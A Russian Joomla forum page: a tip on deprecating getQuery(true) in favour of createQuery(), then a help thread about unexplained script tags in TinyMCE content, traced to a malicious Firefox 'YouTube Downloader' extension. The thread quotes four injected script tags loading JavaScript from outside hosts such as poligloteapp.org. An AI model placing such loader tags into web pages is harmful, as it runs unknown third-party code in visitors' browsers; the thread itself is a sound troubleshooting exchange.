Новости Joomla

Совет по Joomla: $db->getQuery(true) стал устаревшим

Совет по Joomla: $db->getQuery(true) стал устаревшим

👩‍💻 Совет по Joomla: $db->getQuery(true) стал устаревшим.Раньше при создании запросов в базу данных мы всегда получали объект запроса с помощью метода

getQuery(). Если передавался параметр
$new =
true, то получали новый запрос. Если без - последний.

use Joomla\CMS\Factory;$db = Factory::getContainer()->get('DatabaseDriver');$query = $db->getQuery(new: true);// и строим запрос
Под капот Joomla 4 вошёл Joomla Framework (PHP фреймворк а-ля Laravel, Yii и т.д.), а для Joomla 5 он обновился - версия 3.4.1 вышла 6 октября 2023г. В методе фреймворка есть примечание о том, что параметр
$new, который передавался в метод
getQuery() помечен как устаревший и будет удалён в версии фреймворка 4.0.
The parameter $new is deprecated and will be removed in 4.0, use %s::createQuery() instead.В Joomla 4 версия Joomla Framework была 2.x., в Joomla 5 - 3.x. Поэтому есть предположение, что с выходом Joomla 6 обновится и версия фреймворка - станет 4.0. Поэтому для получения объекта для новых запросов следует использовать метод
createQuery(). Он уже представлен в ядре и широко используется. При этом метод
getQuery() останется, но, скорее всего, будет выполнять функцию только геттера - получения текущего запроса.
@joomlafeed#joomla #php #разработка

0 Пользователей и 1 Гость просматривают эту тему.
  • 2 Ответов
  • 1674 Просмотров
*

Anvesinus

  • Новичок
  • 6
  • 0 / 0
Здравствуйте. Версия 3.8.10. Да, нужно обновить, знаю(

При создании нового материала, в тексте материала, если перейти из форматирования редактора TinyMCE  в простой текст, стал появляться вот такой код:

Код
<script src="//s3.amazonaws.com/jscript-load/какиетоцифрыибуквы.js"></script>
<script type="text/javascript" src="https://poligloteapp.org/optout/set/lat?jsonp=__mtz_cb_какиетоцифрыибуквы&amp;key=какиетоцифрыибуквы&amp;cv=какиетоцифрыибуквы&amp;t=какиетоцифрыибуквы"></script>
<script type="text/javascript" src="https://static-resource.com/js/int.js?key=какиетоцифрыибуквы&amp;uid=какиетоцифрыибуквы"></script>
<script type="text/javascript" src="https://cdn-javascript.net/api?key=какиетоцифрыибуквы&amp;uid=какиетоцифрыибуквыx&amp;format=arrjs&amp;r=какиетоцифрыибуквы"></script>

Когда произошло заражение я сказать не могу даже приблизительно, может полгода назад может недавно. Поэтому методом поиска измененных файлов я не смог найти, файлов менялось много и непонятно в каком вирус.

Я пробовал искать фрагменты вируса командой  grep -ril poligloteapp ./ - это не дало результата, ничего не находится.

Может он дишефруется на ходу? А может это не вирус даже, проверка онлайн антивирусами не дала результата.

Помогите пожалуйста понять как это удалить и где оно может находиться?
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
*

Anvesinus

  • Новичок
  • 6
  • 0 / 0
Откуда Joomla ? А в другом браузере пробовали ?

Спасибо!!! Вы мне помогли! Это оказалось дополнение для Firefox Youtube Downloader. Даже не подумал, что такое может быть. Страничку дополнения не сохранил когда удалял, но нашел в бэкапе профиля браузера это расширение, посмотрел метаданные, вот эта дрянь:

Код
   "short_name":"YouTube Downloader",
   "name":"YouTube Downloader",
   "description":"Looking for youtube video downloader? Install the YouTube Downloader and download video from YouTube.",
   "applications": {
      "gecko": {
        "id": "YouTube@develop.com"
"homepage_url":"https://addons.mozilla.org/en-US/firefox/addon/youtube-downloader-wds",
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Скрипт для поиска вирусов и вредоносных скриптов на сайте "AI-Bolit"

Автор revisium

Ответов: 110
Просмотров: 67326
Последний ответ 30.08.2023, 12:53:33
от SeBun
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

Ответов: 1
Просмотров: 2577
Последний ответ 25.05.2023, 08:49:57
от Театрал
Re: Кажется вирус на сайте

Автор motokraft

Ответов: 24
Просмотров: 4424
Последний ответ 04.05.2022, 14:04:17
от ProtectYourSite
Хостинг пишет, что найден вирус в /media/com_media/js/media-manager-es5.js

Автор AlexP750

Ответов: 6
Просмотров: 3226
Последний ответ 22.02.2022, 11:38:15
от AlexP750
Спам, вирус или дело в браузере Google

Автор alekcae

Ответов: 13
Просмотров: 1641
Последний ответ 16.05.2021, 18:52:24
от alekcae